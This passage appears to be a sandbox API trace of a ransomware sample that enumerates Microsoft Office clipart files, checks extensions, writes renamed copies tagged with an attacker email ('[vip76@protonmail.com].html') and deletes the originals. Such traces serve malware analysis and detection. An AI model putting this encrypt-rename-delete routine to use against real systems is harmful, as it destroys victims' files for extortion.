	[0085.986] lstrlenW (lpString=".doc") returned 4
	[0085.986] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.986] lstrlenW (lpString=".docx") returned 5
	[0085.986] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.986] lstrlenW (lpString=".pdf") returned 4
	[0085.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.987] lstrlenW (lpString=".xls") returned 4
	[0085.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.987] lstrlenW (lpString=".xlsx") returned 5
	[0085.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.987] lstrlenW (lpString=".ppt") returned 4
	[0085.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.987] lstrlenW (lpString=".zip") returned 4
	[0085.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.987] lstrlenW (lpString=".rar") returned 4
	[0085.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.987] lstrlenW (lpString=".bz2") returned 4
	[0085.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.987] lstrlenW (lpString=".7z") returned 3
	[0085.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.987] lstrlenW (lpString=".dbf") returned 4
	[0085.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.987] lstrlenW (lpString=".1cd") returned 4
	[0085.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF") returned 68
	[0085.987] lstrlenW (lpString=".jpg") returned 4
	[0085.987] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.987] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0085.987] lstrlenW (lpString="DD01761_.WMF") returned 12
	[0085.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0085.988] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4148) returned 1
	[0085.988] CloseHandle (hObject=0x384) returned 1
	[0085.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 0x220
	[0085.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0085.988] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.988] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0085.989] GetLastError () returned 0x0
	[0085.989] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1034, lpOverlapped=0x0) returned 1
	[0085.990] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1040, lpOverlapped=0x0) returned 1
	[0085.991] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.991] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.991] SetEndOfFile (hFile=0x2c8) returned 1
	[0085.991] CloseHandle (hObject=0x2c8) returned 1
	[0085.995] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.995] SetEndOfFile (hFile=0x384) returned 1
	[0085.996] CloseHandle (hObject=0x384) returned 1
	[0085.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0085.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01761_.wmf")) returned 1
	[0085.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.997] lstrlenW (lpString=".doc") returned 4
	[0085.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString=".docx") returned 5
	[0085.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.997] lstrlenW (lpString=".pdf") returned 4
	[0085.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString=".xls") returned 4
	[0085.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.997] lstrlenW (lpString=".xlsx") returned 5
	[0085.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.997] lstrlenW (lpString=".ppt") returned 4
	[0085.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.997] lstrlenW (lpString=".zip") returned 4
	[0085.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.997] lstrlenW (lpString=".rar") returned 4
	[0085.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString=".bz2") returned 4
	[0085.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString=".7z") returned 3
	[0085.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.997] lstrlenW (lpString=".dbf") returned 4
	[0085.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.997] lstrlenW (lpString=".1cd") returned 4
	[0085.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.997] lstrlenW (lpString=".jpg") returned 4
	[0085.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.998] lstrlenW (lpString=".doc") returned 4
	[0085.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString=".docx") returned 5
	[0085.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.998] lstrlenW (lpString=".pdf") returned 4
	[0085.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString=".xls") returned 4
	[0085.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.998] lstrlenW (lpString=".xlsx") returned 5
	[0085.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.998] lstrlenW (lpString=".ppt") returned 4
	[0085.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.998] lstrlenW (lpString=".zip") returned 4
	[0085.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.998] lstrlenW (lpString=".rar") returned 4
	[0085.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString=".bz2") returned 4
	[0085.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString=".7z") returned 3
	[0085.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.998] lstrlenW (lpString=".dbf") returned 4
	[0085.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.998] lstrlenW (lpString=".1cd") returned 4
	[0085.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 68
	[0085.998] lstrlenW (lpString=".jpg") returned 4
	[0085.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.999] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0085.999] lstrlenW (lpString="DD01772_.WMF") returned 12
	[0085.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0085.999] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2300) returned 1
	[0085.999] CloseHandle (hObject=0x384) returned 1
	[0085.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x220
	[0086.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0086.000] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.000] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0086.000] GetLastError () returned 0x0
	[0086.000] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x8fc, lpOverlapped=0x0) returned 1
	[0086.004] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x900, lpOverlapped=0x0) returned 1
	[0086.005] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.005] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.005] SetEndOfFile (hFile=0x2c8) returned 1
	[0086.006] CloseHandle (hObject=0x2c8) returned 1
	[0086.006] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.006] SetEndOfFile (hFile=0x384) returned 1
	[0086.006] CloseHandle (hObject=0x384) returned 1
	[0086.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01772_.wmf")) returned 1
	[0086.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.007] lstrlenW (lpString=".doc") returned 4
	[0086.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.007] lstrlenW (lpString=".docx") returned 5
	[0086.007] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.007] lstrlenW (lpString=".pdf") returned 4
	[0086.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.007] lstrlenW (lpString=".xls") returned 4
	[0086.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.007] lstrlenW (lpString=".xlsx") returned 5
	[0086.007] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.007] lstrlenW (lpString=".ppt") returned 4
	[0086.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString=".zip") returned 4
	[0086.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.008] lstrlenW (lpString=".rar") returned 4
	[0086.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString=".bz2") returned 4
	[0086.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString=".7z") returned 3
	[0086.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString=".dbf") returned 4
	[0086.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString=".1cd") returned 4
	[0086.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString=".jpg") returned 4
	[0086.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString=".doc") returned 4
	[0086.008] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString=".docx") returned 5
	[0086.008] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.008] lstrlenW (lpString=".pdf") returned 4
	[0086.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString=".xls") returned 4
	[0086.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.008] lstrlenW (lpString=".xlsx") returned 5
	[0086.008] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.008] lstrlenW (lpString=".ppt") returned 4
	[0086.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.008] lstrlenW (lpString=".zip") returned 4
	[0086.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.009] lstrlenW (lpString=".rar") returned 4
	[0086.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.009] lstrlenW (lpString=".bz2") returned 4
	[0086.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.009] lstrlenW (lpString=".7z") returned 3
	[0086.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.009] lstrlenW (lpString=".dbf") returned 4
	[0086.009] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.009] lstrlenW (lpString=".1cd") returned 4
	[0086.009] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 68
	[0086.009] lstrlenW (lpString=".jpg") returned 4
	[0086.009] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.009] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0086.009] lstrlenW (lpString="DD01793_.WMF") returned 12
	[0086.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0086.010] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=3252) returned 1
	[0086.010] CloseHandle (hObject=0x384) returned 1
	[0086.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220
	[0086.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0086.011] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.011] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0086.012] GetLastError () returned 0x0
	[0086.012] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xcb4, lpOverlapped=0x0) returned 1
	[0086.375] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0086.376] ReadFile (in: hFile=0x384, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.376] WriteFile (in: hFile=0x2c8, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.376] SetEndOfFile (hFile=0x2c8) returned 1
	[0086.376] CloseHandle (hObject=0x2c8) returned 1
	[0086.376] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.376] SetEndOfFile (hFile=0x384) returned 1
	[0086.377] CloseHandle (hObject=0x384) returned 1
	[0086.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0086.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1
	[0086.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.641] lstrlenW (lpString=".doc") returned 4
	[0086.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.641] lstrlenW (lpString=".docx") returned 5
	[0086.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.641] lstrlenW (lpString=".pdf") returned 4
	[0086.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.641] lstrlenW (lpString=".xls") returned 4
	[0086.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.641] lstrlenW (lpString=".xlsx") returned 5
	[0086.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.641] lstrlenW (lpString=".ppt") returned 4
	[0086.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.641] lstrlenW (lpString=".zip") returned 4
	[0086.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.641] lstrlenW (lpString=".rar") returned 4
	[0086.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString=".bz2") returned 4
	[0086.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString=".7z") returned 3
	[0086.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.642] lstrlenW (lpString=".dbf") returned 4
	[0086.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.642] lstrlenW (lpString=".1cd") returned 4
	[0086.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.642] lstrlenW (lpString=".jpg") returned 4
	[0086.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68
	[0086.642] lstrlenW (lpString=".doc") returned 4
	[0086.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
